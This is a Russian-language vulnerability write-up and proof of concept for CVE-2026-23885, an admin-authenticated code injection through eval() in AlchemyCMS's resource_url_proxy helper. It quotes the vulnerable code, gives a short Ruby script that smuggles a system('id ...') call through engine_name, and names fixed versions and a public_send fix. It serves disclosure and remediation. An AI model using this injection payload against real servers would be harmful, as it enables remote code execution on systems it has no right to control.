
Доказательство концепции эксплуатации CVE-2026-23885 — аутентифицированное удалённое выполнение кода (RCE) в AlchemyCMS через инъекцию eval(), с техническим анализом и рекомендациями по устранению уязвимости.
Критическая уязвимость, связанная с некорректной нейтрализацией директив в динамически вычисляемом коде (CWE-95), была обнаружена в фреймворке AlchemyCMS. Уязвимость позволяет аутентифицированному пользователю с административными привилегиями выполнять произвольный Ruby-код и системные команды на сервере через точку внедрения eval().
app/helpers/alchemy/resources_helper.rbAlchemy::ResourcesHelper#resource_url_proxyМетод-хелпер небезопасно обрабатывает атрибут engine_name из объекта resource_handler. Этот атрибут передаётся напрямую в функцию Ruby eval() без предварительной санитизации или валидации.
def resource_url_proxy(resource_handler)
if resource_handler.in_engine?
eval(resource_handler.engine_name) # rubocop:disable Security/Eval
else
main_app
end
end
Наличие директивы # rubocop:disable Security/Eval подтверждает, что последствия использования eval() для безопасности были осознаны, но проигнорированы при реализации.
3. Доказательство концепции (PoC)
Вектор атаки
Уязвимость срабатывает в административном интерфейсе AlchemyCMS при рендеринге представлений на основе ресурсов (например, Sites или Languages). Если злоумышленник может манипулировать конфигурацией модуля или базовыми данными ресурса, он может добиться выполнения кода.
Автономный эксплойт-скрипт
Следующий скрипт демонстрирует выполнение произвольного кода путём имитации уязвимого окружения хелпера:
Ruby
require 'ostruct'
def resource_url_proxy(resource_handler)
if resource_handler.engine_name && !resource_handler.engine_name.empty?
eval(resource_handler.engine_name)
end
end
# Полезная нагрузка: выполняет системную команду 'id' и создаёт файл-доказательство
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)
resource_url_proxy(handler)
Доказательство выполнения
После выполнения системная команда обрабатывается, предоставляя злоумышленнику доступ к окружению сервера.

Целостность: Высокая. Возможность изменять файлы и записи базы данных.
Доступность: Высокая. Возможность полного нарушения работы системы.
CVE ID: CVE-2026-23885
7.4.12
8.0.3
Исправление заключается в замене вызова eval() на public_send() для безопасной маршрутизации запросов к целевому прокси движка:
Ruby
main_app.public_send(resource_handler.engine_name) if resource_handler.engine_name.present?
Ссылка на CVE: CVE-2026-23885